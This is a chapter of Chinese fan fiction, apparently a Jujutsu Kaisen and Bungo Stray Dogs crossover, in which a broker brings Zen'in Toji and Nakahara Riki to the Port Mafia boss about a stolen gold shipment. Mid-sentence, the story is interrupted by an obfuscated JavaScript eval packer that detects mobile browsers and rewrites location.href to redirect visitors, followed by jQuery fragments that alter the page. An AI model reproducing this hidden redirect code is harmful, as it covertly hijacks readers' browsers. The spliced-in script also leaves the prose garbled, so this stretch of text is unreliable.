Chapter 14
“虽然知道干你们这行的，谈感情太伤钱，钱永远是第一位。但是，明明一个多月前还险些被对方沉尸横滨港，一个月后就又可以开开心心赚对方的钱了，心理素质确实很不错啊，孔兄。”
尽管当初接下任务的时候已经了解到这笔生意的委托人是何方神圣，但真的被带到眼前这五栋黑压压直入云霄的大楼时，里希还是忍不住发出感叹。
孔时雨倒是直接把这当作是对自己的夸赞，并大方表示：
“这是干我们这行的基本职业素养，如果我选择了拒绝为某项任务当牵线人的话……”
“那一定是因为钱没给到位。”
一旁的伏黑甚尔默契地接过话道，咧嘴一笑，笑得还有几分邪气，并毫不掩饰对金钱的向外。
只要钱给够，过往的恩怨情仇什么的都可以暂时放一放。
合作多年的两人相视一笑。
里希：“……”，行吧，尊重他人的价值观。
这次的任务，委托人正是一手建立起港口黑手党这个横滨最恶组织的首领先生。尽管老先生如今已经渐渐上年纪了，但依旧是组织里绝对的权威、是这座城市不可动摇的人物。
十天前，港口黑手党的一艘重要船只遭到敌人袭击，船上运载的大批黄金被敌人夺走。运送这艘重要货船的，是港口黑手党五大干部之一，那位干部也被敌人当场给炸了个粉身碎骨，平日里把别人沉尸横滨港的人这次被沉尸了，还沉的是骨灰。
而敌人得手后撤退得也非常迅速，最终港口黑手党救援部队抵达后盘查火并现场，只发现了敌人遗落的一件类似三节棍的武器。后经调查，发现这竟是在咒术界颇具市场价的特级咒具游云。
“这很难不让港口黑手党怀疑，越货杀人的和咒术界有关。而我过往牵线搭桥的业务，不少都和咒术界相关联，所以才找上我来外包这项工作。”
作为一名职业黑中介，孔时雨是真的不介意自己一个月前与港口黑手党之间因为一些误解而导致的那场冲突，不过那次冲突倒是阴差阳错地让他与中原里希结识了。
而里希也是后来经过调查才得知，原来当时追杀孔时雨的那伙人就是横滨地头蛇，其中那个拥有能弹飞子弹异能力的中年人，还是个港口黑手党里的小头目。
嗯……
没关系，那天他出手得相当干净利落，确保所有被他偷袭干晕的人在昏迷前都没有看到他的脸。
至于偷袭光不光彩什么的？
偷袭怎么了，偷袭也是智取的一种，不是所有人都要正面迎上欧拉欧拉一通当狂战士的。
想到这儿，眼角余光瞥向身旁这位任务“竞争者”，尤其是目光转移至那紧身T恤包裹出的贲张肌肉……这人一看就狂得没边。
而过往基本没和横滨这边打过什么交道的禅院甚尔，此刻则是手指按在头发上转了几圈后，一副完全不在状态的样子出声问道：
“那个死了的什么五大干部，叫什么来着？”
孔时雨：“……”
你好歹记一下这次任务所涉事件的核心人物名字啊喂！
禅院甚尔依旧是笑得混不吝，摆了摆手道：
“你知道的，男人的名字我从来都记不住的。”
孔时雨：“……那我是不是应该谢谢你没忘记我叫什么？”
“你怎么能一样。”禅院甚尔当即表示你是特别的，尽管眼中依旧并非真情而是满满铜臭，“你可是能帮我来钱的人。”
孔时雨：“……”
他就知道！
不过相识多年，早已认清了对方是个什么德性，孔时雨自然不会抱有什么期待。倒不如说哪天禅院这家伙要是对他充满人情味，他反倒要怀疑这人是不是接了对家的巨额任务金来取他性命了。
“那个死掉的五大干部之一，叫Hunter，在港口黑手党内部算得上是仅次于首领的存在。所以，这次事件，港口黑手党上上下下都群情激奋，首领也非常重视。”
孔时雨耐心地再次做了任务背景介绍。
“亨特？外国人？”禅院甚尔念了下这个名字，评估起了这家横滨知名黑企业的国际化程度，“企业文化够包容开放的啊，外国佬都能坐到核心高管的位置。”
说到这儿，才终于眼珠微微转动，看了身旁的这个小老外一眼。
所以才又找了这么个洋人来办事吗？以夷制夷？
对了，这小老外叫什么来着？
“里希，中原里希。”里希似乎看出了这人在想什么，主动开口道，“没关系，理解禅院君你存在记忆障碍的问题，我会谅解的。以及，那位Hunter不是外国人，是位标标准准的日本人。Hunter就是猎手的意思，是他在港口黑手党多年下来被起的称号，后来大家也就直接以‘猎手’之名称呼他了。”
禅院甚尔倒是直接忽略掉了对自己记忆力的揶揄，意识到这个同他抢钱的老外是提前做了不少功课的：
“嚯，准备很充分嘛。”
“当然，提前调查好任务相关人物的情报资料，既是提升任务成功率的保障，也是干这行的基本职业素养。”
里希脸上仍然挂着职业微笑，同时也毫不吝啬地同对方分享起这位殉职干部的个人情况：
“此人原本是港口的渔民出身，后来因为这座城市的工业化建设不断扩张，家中世代捕鱼的区域被掠夺，失去了赖以维系的生计后就转行混黑了。加入港口黑手党已超过十年，工作考评年年A+，在同事里人缘也不错，升任干部后御下有方，有诸多忠心追随者。日常无不良嗜好，没结婚也没孩子，但是养了只三花猫作伴，喜欢给爱宠采购的猫粮品牌是……”
听着对方得啵得啵得地说着，禅院甚尔那原本看起来像是没睡醒吊着的双眼也渐渐瞠大瞪圆，并当即叫停。
连给猫买的什么猫粮都查了，是不是那人用的哪个牌子厕纸也记录在案啊！
呵呵，
卷你O的卷！！！
禅院甚尔觉得这老外有病，而里希则是再次递出了合作的橄榄枝，并且自己这边再次让步：
“禅院君，如何，要不要考虑同我合作，报酬九一分我也是可以接受的。”
哈？谈钱啊？
那就没什么可谈的了。
禅院甚尔翻了个白眼，收回视线。
说到底，直到现在，他也没把这个老外当根葱。
毕竟在他看来，自己一拳就能把对方捶进地里，也不知道长出来的会不会是洋葱。
而对于这种拒不合作的态度，里希没强求，只是略带惋惜地叹了口气：
“真遗憾，禅院君，我明明给过你机会了。”
哈？禅院甚尔满头问号，不明白这老外在遗憾个什么鬼。
还给他机会？好大的口气。
就在这时，一位穿着考究的中年男士终于带着一队黑西装下属来到大厅，作为甲方前来接待乙方团队，也打断了乙方团队即将爆发的“内讧”。
“晚上好，在下广津柳浪，几位，请随我前去见首领吧。以及，在进入首领办公室前，我们需要对诸位进行安全排查，还请见谅。”
港口黑手党武斗派黑蜥蜴十人长广津柳浪上前两步，彬彬有礼的同时也不失黑手党的气场。
里希认出了这就是当初救下孔时雨时，那个带队的拥有弹飞子弹异能力的家伙。
他后来也收集调查了这人的情报资料，知道那种异能力名为【落椿】，能够用斥力将指尖接触到的物体通通弹飞。
感觉和中也的重力操控异能有些异曲同工之处呢。
话说，中也现在有在乖乖睡觉吧？没有偷偷起床熬夜看电视吧？那个鲨鱼辣椒有什么好看的啊！
里希大脑劈成两半运作，一半想着家里孩子有没有作妖，另一半观察着一路走过遇到的这些黑手党。
嘶，果然是血腥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565066|186775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气好重的一家企业啊。
三人对于安全检查都没什么所谓，很配合，一路顺畅地走进了大楼顶层的港口黑手党首领办公室。
……
本就到了深更半夜的时候，首领办公室里又只亮了几盏昏黄的吊灯，更显出一份冷寂肃杀之感。
稳坐于办公桌后的老首领虽然上了年纪，能明显看出岁月在脸上留下的痕迹，但双眼依旧矍铄有神，毫无昏聩之意，令人丝毫不敢有所松懈。
没有人会质疑这位是以铁血手段统治横滨里世界的王。
里希在心中默默评价着。
这是他对这位港口黑手党首领的第一印象。
“孔时雨，这就是你找来的任务接手人吗？是咒术师还是诅咒师啊？”
老首领打量着孔时雨身后一左一右站着的这两个画风不能说南辕北辙，也只能说毫无重合的年轻人。
不等孔时雨开口，禅院甚尔率先主动做了自我介绍，语调懒散中隐隐带着一丝恶趣味：
“不，我是术士杀手，专门杀那些术士的。”
孔时雨：“……”
这时，里希也开口跟上，看起来一副如梦初醒的样子：
“哦，原来还分咒术师和诅咒师啊。”
孔时雨：“……”
这个时候你们俩倒是够默契的啊！还想不想赚钱了，不想赚钱也别顺手把我的饭碗给砸了啊！没了口碑招牌我还怎么在中介业界混啊！知不知道这行竞争也是很激烈的啊两个混蛋！
老首领目光依次扫过这俩疑似“专业不对口”的家伙，倒也没有恼火，只是不轻不重地笑了声后，继续着自己原本要说的话：
“整个事情的经过想必你们都已经很清楚了，我就不再多说什么。一句话，我只要结果，用最快的速度抓到那伙袭击港口黑手党的敌人，我不想和咒术界结仇增怨，但猎手的仇不报不行，所以你们手脚做干净点。”
这时，眼神示意了下身旁站着的一个黑西装下属，下属领会后，将“凶器”拿出奉上。
“这就是敌人在现场遗落的凶器，咒术界的特级咒具游云。我们尝试过了，但没能在游云上提取出任何有效指纹。”老首领进一步说道，同时也给出了更为诱人的价码，“我们组织向来不涉咒术界，这东西我们留着也没什么用，不过听说在咒术界还是挺抢手的。那么，如果你们任务干得漂亮的话，除了原定的酬金，游云也直接附赠给你们。”
禅院甚尔在心底默默吹了声口哨。
哇哦，不错，不用他拐走或者明抢了。
那么，他就更不可能和这小老外合作分酬劳了。
里希也在心中默默盘算着这个好东西……到手后该怎么好好利用呢？
接着，只见老首领又伸手指了指这个捧着游云的黑西装下属：
“他叫东川让，是猎手生前的副手，也是猎手最信赖的部下，由他来辅助你们，有什么疑问你们可以随时问他。”
“非常感谢您，我们的工作一定会令您满意的，以及……”孔时雨说着职场客套话，眼角余光扫过禅院甚尔，显然这家伙听到任务结算直接附赠游云后，那是一点点合作分款的可能性都不会有了，只得开口道：“这二位其实是我带来的任务候选人，请您选择一位吧，请放心，这二人的实力都是非常强劲的。”
算了，这个难题，就丢给甲方吧。
他个中间商只管最后拿提成就好，乙方是谁都一样。
禅院甚尔对此没什么担心的，毕竟都不需要展示什么手艺绝活，他和这个弱鸡老外往这儿一摆，眼不瞎的都看得出来谁更可靠。
然后，他就看到了老首领在沉默了片刻后，手指一抬，指向了……
“那么，就交给你吧。”
指向了中原里希。
禅院甚尔：“……”
哈？搞什么？真的假的？
上了年纪老眼昏花了吗，你要不把屋里灯都打开再看看？